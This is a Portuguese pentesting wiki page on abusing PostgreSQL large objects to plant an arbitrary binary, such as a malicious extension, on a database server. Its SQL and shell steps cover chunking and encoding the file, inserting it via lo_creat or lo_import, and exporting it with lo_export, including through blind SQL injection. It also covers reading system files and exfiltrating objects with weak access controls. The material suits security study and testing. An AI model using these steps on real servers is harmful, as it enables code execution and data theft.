# Objetos Grandes do PostgreSQL O PostgreSQL expõe uma estrutura chamada de **objeto grande** (**tabela pg_largeobject**), que é usada para armazenar dados que seriam difíceis de manipular em sua totalidade (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** reside no fato de que os **dados** que eles **armazenam** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**. Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e, em seguida, **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**. Para **dividir** seu **binário** em **pedaços** de tamanho **2KB**, você pode fazer: ```bash split -b 2048 pg_exec.so #This will create files of size 2KB ``` Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar: ```bash base64 -w 0 #Encoded in 1 line xxd -ps -c 99999999999 #Encoded in 1 line ``` {% hint style="info" %} Ao explorar isso, lembre-se de que você precisa enviar **pedaços de 2KB de bytes de texto claro** (não 2KB de bytes codificados em base64 ou hex). Se você tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`. {% endhint %} Além disso, depurando o processo, você pode ver o conteúdo dos grandes objetos criados com: ```sql select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` # Usando lo\_creat & Base64 Primeiro, precisamos criar um LOID onde os dados binários serão salvos: ```sql SELECT lo_creat(-1); -- returns OID of new, empty large object SELECT lo_create(173454); -- attempts to create large object with OID 43213 ``` Se você estiver explorando uma **Injeção de SQL cega**, você estará mais interessado em usar `lo_create` com um **LOID fixo** para que você **saiba onde** deve **fazer o upload** do **conteúdo**.\ Além disso, observe que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`. LOID é usado para identificar o objeto na tabela `pg_largeobject`. A inserção de pedaços de tamanho 2KB na tabela `pg_largeobject` pode ser realizada usando: ```sql INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('', 'base64')); ``` Finalmente, você pode exportar o arquivo para o sistema de arquivos fazendo (durante este exemplo, o LOID usado foi `173454`): ```sql SELECT lo_export(173454, '/tmp/pg_exec.so'); ``` {% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar **fazer upload das extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions) {% endhint %} Você possivelmente pode estar interessado em excluir o objeto grande criado após exportá-lo: ```sql SELECT lo_unlink(173454); -- deletes large object with OID 173454 ``` # Usando lo\_import & Hex Neste cenário, lo\_import será usado para criar um objeto de grande tamanho. Felizmente, neste caso, você pode (e não pode) especificar o LOID que deseja usar: ```sql select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts'); select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454); ``` Depois de criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você tem que inserir pedaços de 2KB): ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=2; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=3; ``` O HEX deve ser apenas o hex (sem `0x` ou `\x`), exemplo: ```sql update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0; ``` Finalmente, exporte os dados para um arquivo e exclua o objeto grande: ```sql select lo_export(173454, 'C:\\path\to\pg_extension.dll'); select lo_unlink(173454); -- deletes large object with OID 173454 ``` {% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions) {% endhint %} # Limitações Depois de ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** para que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário. No entanto, pode haver **um objeto antigo com uma ACL que permite que o usuário atual o leia**, então podemos exfiltrar o conteúdo desse objeto.